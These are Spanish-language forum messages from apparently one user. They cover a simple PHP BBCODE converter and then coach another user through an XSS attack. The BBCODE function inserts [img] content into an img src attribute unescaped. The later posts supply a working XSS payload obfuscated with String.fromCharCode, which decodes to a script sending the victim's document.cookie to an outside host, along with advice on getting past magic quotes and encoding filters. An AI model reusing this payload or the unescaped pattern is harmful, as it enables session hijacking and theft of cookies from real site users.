Mensajes

Bueno egyware, si piensas extender tu lista de BBCODE, puedes mejor crear un POO así tu code queda mas bonito, organizado y optimizado.

Ya se lo que quieres hacer, es como un BBCODE, bueno aqui lo que pediste.

Código (php) [Seleccionar] Expandir

<?php

function bbcode($text){

$text = str_replace('[b]','<strong>',$text);
$text = str_replace('[/b]','</strong>',$text);
$text = str_replace('[img]','<img src="',$text);
$text = str_replace('[/img]','">',$text);
return $text;
}

echo bbcode('[b]Hola como estan[/b]');
echo bbcode('[img]http://www.grupogenova.net/Moncan/V20/imgs/upload/gato.jpg[/img]');
?>

Salida:


En este caso, el problema no necesita de expresiones regulares para resolverlo, porque no buscas parametros, si no una palabra en expecifica y remplazarla por un Tag html valido.

Ok, no entendi muy bien, escribe lo que quieres sacar en un :

Código [Seleccionar] Expandir

Aqui

Bueno, aunque no uso window  desde hace tiempo, vi estubo muy bien documentando, y la explicacion de las memoria igual xD.

Bueno tambien, eso se llama url encoding, pero si alguna vez en cuentra otro XSS y no te funciona encodear la url por, ps te toca usar String.fromCharCode()

Ok, no pasa nada, pero yo creo que se porque no podias hacerlo, ps pueda ser que el servidor tuviera On las magic quotes gpc que te escapaba las comillas dobles y simples por barras invertidas, siempre trata de ver el codigo de fuente y mira que pasa con lo que vas inyectando.

Bueno este debe funcionar:

Código [Seleccionar] Expandir

"><script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 105, 109, 117, 115, 97, 46, 117, 115, 47, 99, 46, 112, 104, 112, 63, 99, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62))</script>

No te lo puedo agregar correctamente porque no se la direccion de tu web, pon lo que pusistee y miro que hiziste mal

Tranquilo man, anda y usa String.fromCharCode(), aveces es mejor que pongas la url.

Tio hacerlo con el String.fromCharCode() y veras que funcionara y cuentas.